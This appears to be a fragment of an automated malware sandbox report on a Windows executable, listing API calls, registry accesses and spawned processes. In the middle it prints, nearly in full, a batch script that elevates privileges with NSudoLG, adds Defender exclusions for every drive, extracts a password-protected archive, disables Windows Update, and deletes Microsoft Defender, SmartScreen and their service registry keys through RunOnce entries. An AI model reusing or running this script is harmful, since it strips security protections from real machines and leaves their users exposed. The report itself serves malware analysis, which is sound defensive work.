"1804370432043b043504470435043d04380435042000730061006b00650064005c0037007a002e00650078006500" - (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "GetWindowTextW" with parameter "1804370432043b043504470435043d04380435042000730061006b00650064005c0063006500630068006f002e00650078006500" - (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "GetWindowTextW" with parameter "1804370432043b043504470435043d04380435042000730061006b00650064005c006e006900720063006d0064002e00650078006500" - (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "GetWindowTextW" with parameter "1804370432043b043504470435043d04380435042000730061006b00650064005c004e005300750064006f004c0047002e00650078006500" - (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "GetWindowTextW" with parameter "1804370432043b043504470435043d04380435042000730061006b00650064005c00730061006d0065002e007a0069007000" - (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "GetWindowTextW" with parameter "1804370432043b043504470435043d04380435042000730061006b0065006400" - (UID: 00000000-00002668) "nircmd.exe" called "GetWindowTextA" (UID: 00000000-00007940)32:T1ade,"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008e00000038469c00f4459c00f39b8b7768499c00cc1fdd008e000000b833dd0038469c00000000001c469c00977f8b7738469c00dc33dd00e99c8d77000800000000000000000000dc33dd00b833dd00e357a38d40469c0072453c7400000000c0301475ffffffffbbc214015c000000c030147500080000400c1501306a9c00 (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000d0ef9c0074ef9c00226e4b7500003503000000002d6e4b75eae62bae2d000000ecb7b575f8ef9c000000c400189cde002891dd00160000008000000038ef9c000000c400bcef9c0070c84c756678e6dbfeffffff2d000000d0ccc475270000008cef9c00856a4d751c235275ccef9c00f85f4d7508000000bb694c75b2694c7552e62bae2d000000ecb7b57527000000d0ccc475a0ef9c002d000000d0ccc47527000000d0ef9c00856a4d751c23527518f09c007e8ac375ee8cc375738ac37514abc2152d000000ecb7b57527000000d0ccc47554283503e827350314abc215e0ef9c00fc520176ccf09c00e084c37534aaa160feffffff738ac375 (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000008c77000000000100000044f79c00fc86fd732a000474fb8c8c770000000000000000fc86fd7318f89c000000000000000000000000002a00047409000000d060df0009000000fc86fd73000000005005b87118000000556639e670000000d0f09c000000000050fb9c00a0182c7399688895feffffffd8f79c005a9b2a7388f79c000000000000000000739b2a7304f89c000000000000000000000000000000000000000000000000000100000000000000010000000000000000f89c000000000010f89c000000000004f89c000000000000000000000000004b004877bd6639e618f89c0084da3a740fe6a38d1cf89c00dab93a740000af7110f89c00 (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff0000000098089a0038cf8c77f43add0004099a0001000000a83add00f43add00a83add00040000000400000000e046740010000004099a0001000000a83add00cd978c779c978c77cf1aa58db50f3d74a83add0000008c7700000000f4d9ac730000000080ee4374010000001b800800f8e2467400000000040000000000000048404574f8e2467408099a0080e8a674e057df0080e8a67404099a000000000080e8a67430099a001b800800b8099a005806000058109a00642af27364aef73ef30b0000faffffff70109a0000000000180000000000000061983fe60000000000000000ffffffff000000000000000000000000f681fe070c82fe07 (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000009a00b8099a001b800800cc562a003801000000000000000000000000000098099a001b800800200a9a0058060000c0109a001800000061983fe638010000000000009f572a733801000038010000000000000000000000009a00000000000000000018000000c0109a00200a9a001b800800c9993fe630089a009f572a7348099a00a0182c7391678895feffffff58099a00222af2733801000000000000000000000000000030099a001b800800b8099a005806000058109a00642af27364aef73ef30b0000faffffff70109a0000000000180000000000000061983fe60000000000000000ffffffff000000000000000000000000269dfe073e9dfe07 (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000009a00b8099a001b800800cc562a003801000000000000000000000000000098099a001b800800200a9a0058060000c0109a001800000061983fe638010000000000009f572a733801000038010000000000000000000000009a00000000000000000018000000c0109a00200a9a001b800800c9993fe630089a009f572a7348099a00a0182c7391678895feffffff58099a00222af2733801000000000000000000000000000030099a001b800800b8099a005806000058109a00642af27364aef73ef30b0000faffffff70109a0000000000180000000000000061983fe60000000000000000ffffffff0000000000000000000000001681fe072a81fe07 (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000009a00b8099a001b800800cc562a003801000000000000000000000000000098099a001b800800200a9a0058060000c0109a001800000061983fe638010000000000009f572a733801000038010000000000000000000000009a00000000000000000018000000c0109a00200a9a001b800800c9993fe630089a009f572a7348099a00a0182c7391678895feffffff58099a00222af2733801000000000000000000000000000030099a001b800800b8099a005806000058109a00642af27364aef73ef30b0000faffffff70109a0000000000180000000000000061983fe60000000000000000ffffffff0000000000000000000000001eccfe0736ccfe07 (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000009a00b8099a001b800800cc562a003801000000000000000000000000000098099a001b800800200a9a0058060000c0109a001800000061983fe638010000000000009f572a733801000038010000000000000000000000009a00000000000000000018000000c0109a00200a9a001b800800c9993fe630089a009f572a7348099a00a0182c7391678895feffffff58099a00222af2733801000000000000000000000000000030099a001b800800b8099a005806000058109a00642af27364aef73ef30b0000faffffff70109a0000000000180000000000000061983fe60000000000000000ffffffff000000000000000000000000269dfe073c9dfe07 (UID: 00000000-00002668)33:T60e,"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000003809c40000000000b0e29c0059168c770100000008000000010000000000dd000000000010000000000000000000000002000000020000000000dd00010000000800000000000000d0e29c00ee138c7701000000ee138c770800000000000000080000003991a5e608e59c00ad9c1d730000dd000800000001000000 (UID: 00000000-00002668) "nircmd.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007940) "nircmd.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004692) "mika.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006300)34:T4e0,"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "nircmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "reg.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "NSudoLG.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")35:T744,Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "GetFileTime" (Indicator: "GetFileTime"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp")36:T736,Found reference to API "FindWindowExW" (Indicator: "FindWindow"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "EnumWindowStationsW" (Indicator: "EnumWindowStations"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "EnumDesktopsW" (Indicator: "EnumDesktops"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "1201201982,2212,110,,EnumWindows,user32.dll,"00:23:11.421",RX=0,PX=0" (Indicator: "EnumWindows"; Source: "00000000-00004692.00000000.89330.02DC0000.00000004.mdmp") Found reference to API "GetWindowTextLengthA" (Indicator: "GetWindowText"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "FindWindowA" (Indicator: "FindWindow"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "GetWindowTextA" (Indicator: "GetWindowText"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp")37:T5ed,Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "RtlVerifyVersionInfo" (Indicator: "VerifyVersionInfo"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "tlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00001952.00000000.94843.91350000.00000004.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp")38:Td1e,"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "CreateProcessW" with parameter ""%TEMP%\7e5cy7w4O.bat"" - (UID: 00000000-00002668) "cmd.exe" called "CreateProcessW" with parameter "nircmd win min process "cmd.exe"" - (UID: 00000000-00001656) "cmd.exe" called "CreateProcessW" with parameter "chcp 65001" - (UID: 00000000-00001656) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKU\S-1-5-19"" - (UID: 00000000-00001656) "cmd.exe" called "CreateProcessW" with parameter "reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f" - (UID: 00000000-00001656) "cmd.exe" called "CreateProcessW" with parameter "NSudoLG -U:T -P:E -UseCurrentConsole "%TEMP%\7e5cy7w4O.bat" any_word" - (UID: 00000000-00001656) "cmd.exe" called "CreateProcessW" with parameter "nircmd win min process "cmd.exe"" - (UID: 00000000-00006604) "cmd.exe" called "CreateProcessW" with parameter "chcp 65001" - (UID: 00000000-00006604) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKU\S-1-5-19"" - (UID: 00000000-00006604) "cmd.exe" called "CreateProcessW" with parameter "reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f" - (UID: 00000000-00006604) "cmd.exe" called "CreateProcessW" with parameter "Mode 79,49" - (UID: 00000000-00006604) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c ver" - (UID: 00000000-00006604) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"" - (UID: 00000000-00006604) "cmd.exe" called "CreateProcessW" with parameter "find /i "0x0"" - (UID: 00000000-00006604) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c tasklist" - (UID: 00000000-00006604) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\WinDefend"" - (UID: 00000000-00006604) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"" - (UID: 00000000-00006604) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"" - (UID: 00000000-00006604) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\Sense"" - (UID: 00000000-00006604) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\wscsvc"" - (UID: 00000000-00006604) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"" - (UID: 00000000-00006604) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"" - (UID: 00000000-00006604) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"" - (UID: 00000000-00006604) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"" - (UID: 00000000-00006604) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"" - (UID: 00000000-00006604)39:T4a46,"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002668) "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" called "LoadLibrary" with a parameter nulColor 0fset "Arch=" & set "ArgNsudo=" & set "MainFolder1=" & set "MainFolder2=" & set "ProcList=" & set "NumberWin="SetLocal EnableDelayedExpansioncd /d "%~dp0saked"set "Arch=x64" & (If "%PROCESSOR_ARCHITECTURE%"=="x86" if not defined PROCESSOR_ARCHITEW6432 set Arch=x86)reg query "HKU\S-1-5-19" >nul 2>&1 || nircmd elevate "%~f0" any_word && exitif defined WT_SESSION (reg add "HKCU\Console\%%%%Startup" /v "DelegationConsole" /t REG_SZ /d "{B23D10C0-E52E-411E-9D5B-C09FDF709C7D}" /f >nulreg add "HKCU\Console\%%%%Startup" /v "DelegationTerminal" /t REG_SZ /d "{B23D10C0-E52E-411E-9D5B-C09FDF709C7D}" /f >nulreg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f >nul 2>&1if /i "%USERNAME%" neq "%COMPUTERNAME%$" NSudoLG -U:T -P:E -UseCurrentConsole %0 any_word && exitset "Version=15.0"set "DateProgram=28.03.25"Mode 79,49for /f "tokens=4 delims=[] " %%v in ('ver') do set "NumberWin=%%v"reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" | find /i "0x0" >nul 2>&1 && set "ArgNsudo=C" || set "ArgNsudo=E"for /f "skip=3 tokens=1" %%a in ('tasklist') do set "ProcList=!ProcList! %%a "for %%p in (SmartScreen MsMpEng SgrmBroker MsSense NisSrv MpCmdRun MPSigStub SecurityHealthSystray SecurityHealthService SecurityHealthHost MpDefenderCoreService) do (if "!ProcList!"=="!ProcList:%%p.exe =!" (set "%%~pP=0a") else (set "%%~pP=0c"))set "ListWDServ=WinDefend MDCoreSvc WdNisSvc Sense wscsvc SgrmBroker SecurityHealthService webthreatdefsvc webthreatdefusersvc WdNisDrv WdBoot WdFilter SgrmAgent MsSecWfp MsSecFlt MsSecCore"for %%x in (%ListWDServ%) do reg query "HKLM\System\CurrentControlSet\Services\%%~x" >nul 2>&1 && set "%%~x=0c" || set "%%~x=0a"if exist "%AllUsersProfile%\Microsoft\Windows Defender" (set "MainFolder1=04") else (set "MainFolder1=0a")if exist "%SystemDrive%\Program Files\Windows Defender" (set "MainFolder2=04") else (set "MainFolder2=0a")set PathTask=%SystemRoot%\System32\Tasks\Microsoft\Windows\Windows Defenderif not exist "%PathTask%\Windows Defender Cache Maintenance" (set "Maintenance=0a") else (set "Maintenance=0c")if not exist "%PathTask%\Windows Defender Scheduled Scan" (set "Scan=0a") else (set "Scan=0c")if not exist "%PathTask%\Windows Defender Verification" (set "Verification=0a") else (set "Verification=0c")if not exist "%PathTask%\Windows Defender Cleanup" (set "Cleanup=0a") else (set "Cleanup=0c"):StartProcessRemovever | findstr /c:"6.1.7601" >nul 2>&1 && goto :SkipUnlockerreg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName" | find /i "Windows 7" >nul 2>&1 && goto :SkipUnlockerreg query HKLM\System\CurrentControlset\Services\WdFilter >nul 2>&1 && reg query "HKLM\Software\Microsoft\Windows Defender" >nul 2>&1 && ( reg query "HKLM\Software\Microsoft\Windows Defender\Exclusions\Paths" | find /i "%SystemDrive%\" >nul 2>&1 || ( NSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide -Wait PowerShell "[System.IO.DriveInfo]^::GetDrives^(^) ^| ForEach-Object { Add-MpPreference -ExclusionPath $_.Name }^; Start-Sleep -Milliseconds 1000" >nul 2>&1 )set "a=7"set "b=z" set "c=x"set "d=-aoa"set "e=-bso0"set "f=-bsp1"set "g=same.zip"set "h=stucha"set "i=mika.exe"%a%%b% %c% %d% %e% %f% "%g%" -p"%h%" "%i%" >nul%i% /CurrentDiskSize:StartUnlockerAndSkipBackupfor %%S in (wuauserv dosvc bits UsoSvc WaaSMedicSvc) do ( sc stop %%S >nul 2>&1 sc config %%S start= disabled >nul 2>&1:StartUnlockerAndSkipBackupfor %%S in (wuauserv dosvc bits UsoSvc WaaSMedicSvc) do ( sc stop %%S >nul 2>&1 sc config %%S start= disabled >nul 2>&1reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f >nul 2>&1reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f >nul 2>&1reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEMreg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /freg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /freg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /freg unload HKLM\TEMP_SYSTEMmika /delwd mika /DelWD:FinishDeletedel /q mika.exe >nul 2>&1reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f >nul 2>&1 :CreateRunOnceDelRegset "RegKey=HKLM\System\CurrentControlSet\Services"for %%p in (RegClean RegClean1) do reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "%%p" /t reg_sz /f /d "\"%~dp0saked\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak ^& reg delete %RegKey%\WdFilter /f ^& reg delete %RegKey%\WinDefend /f ^& reg delete %RegKey%\WdNisDrv /f ^& reg delete %RegKey%\MDCoreSvc /f ^& reg delete %RegKey%\WdNisSvc /f ^& reg delete %RegKey%\WdBoot /f\"" >nulexit /b:AppRepSysset "NameAppRep="for /f "usebackq delims=" %%n In (2^>nul reg query "HKU\%SID%\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Repository\Packages" /f "*Apprep.ChxApp*" /k^|findstr ^H) do set NameAppRep=%%~nxnreg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\EndOfLife\S-1-5-18\%NameAppRep%" /f >nulreg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\EndOfLife\%SID%\%NameAppRep%" /f >nulNSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide -Wait PowerShell "Get-AppxPackage -AllUsers *Apprep.ChxApp* | Remove-AppxPackage"NSudoLG -U:S -P:E -ShowWindowMode:Hide -Wait PowerShell "Get-AppxPackage -All *Apprep.ChxApp* | Remove-AppxPackage -User 'S-1-5-18' -ErrorAction SilentlyContinue"for /f "usebackq delims=" %%n In (2^>nul reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications" /f "*Apprep.ChxApp*" /k^|findstr ^H) do reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications\%%~nxn" /f >nul 2>&1for /f "usebackq delims=" %%d In (2^>nul Dir "%ProgramData%\Microsoft\Windows\AppRepository\Packages\*Apprep.ChxApp*" /S /B /A:D) do rd /s /q "%%d"for /f "usebackq delims=" %%d In (2^>nul Dir "%LocalAppData%\Packages\*Apprep.ChxApp*" /S /B /A:D) do rd /s /q "%%d"mika /unlock "%AllUsersProfile%\Microsoft\Windows Defender" "%SystemDrive%\Program Files\Windows Defender" "%SystemDrive%\Program Files (x86)\Windows Defender"for %%d in ("Windows Defender""Windows Defender Advanced Threat Protection""Windows Security Health"for %%d in ("Windows Defender""Windows Defender Sleep""Windows Defender Advanced Threat Protection""Windows Security""PCHealthCheck"for %%d in ("Windows Defender""Windows Defender Advanced Threat Protection"for %%f in (SecurityHealthService.exe SecurityHealthSystray.exeSecurityHealthHost.exe SecurityHealthAgent.dllSecurityHealthSSO.dll SecurityHealthProxyStub.dllsmartscreen.dll wscisvif.dll wscproxystub.dllsmartscreenps.dll wscapi.dll windowsdefenderapplicationguardcsp.dllwscsvc.dll SecurityHealthCore.dll SecurityHealthSsoUdk.dllSecurityHealthUdk.dll smartscreen.exe) do () >nul 2>&1) >nul 2>&1set "Counter=1"set "Counter64=1"for %%i in (08728914-3F57-4D52-9E31-49DAECA5A80A 10964DDD-6A53-4C60-917F-7B5723014344 17072F7B-9ABE-4A74-A261-1EB76B55107A195B4D07-3DE2-4744-BBF2-D90121AE785B 2781761E-28E0-4109-99FE-B9D127C57AFE 2981a36e-f22d-11e5-9ce9-5e5517507c662DCD7FDB-8809-48E4-8E4F-3157C57CF987 2EF44DE8-80C9-42D9-8541-F40EF0862FA3 3213CD15-4DF2-415F-83F2-9FC58F3AEB3A3522D7AF-4617-4237-AAD8-5860231FC9BA 361290c0-cb1b-49ae-9f3e-ba1cbe5dab35 36383E77-35C2-4B45-8277-329E4BEDF47F3886CA90-AB09-49D1-A047-7A62D096D2753CD3CA1E-2232-4BBF-A733-18B700409DA0 45F2C32F-ED16-4C94-8493-D72EF93A051B4DB116D1-9B24-4DFC-946B-BFE03E852002 5ffab5c8-9a36-4b65-9fc6-fb69f451f99c 6CED0DAA-4CDE-49C9-BA3A-AE163DC3D7AF6D40A6F9-3D32-4FCB-8A86-BE992E03DC76 7E66DBEF-2474-4E82-919B-9A855F4C2FE8 82345212-6ACA-4B38-8CD7-BF9DE8ED07BD849F5497-5C61-4023-8E10-A28F1A8C6A70 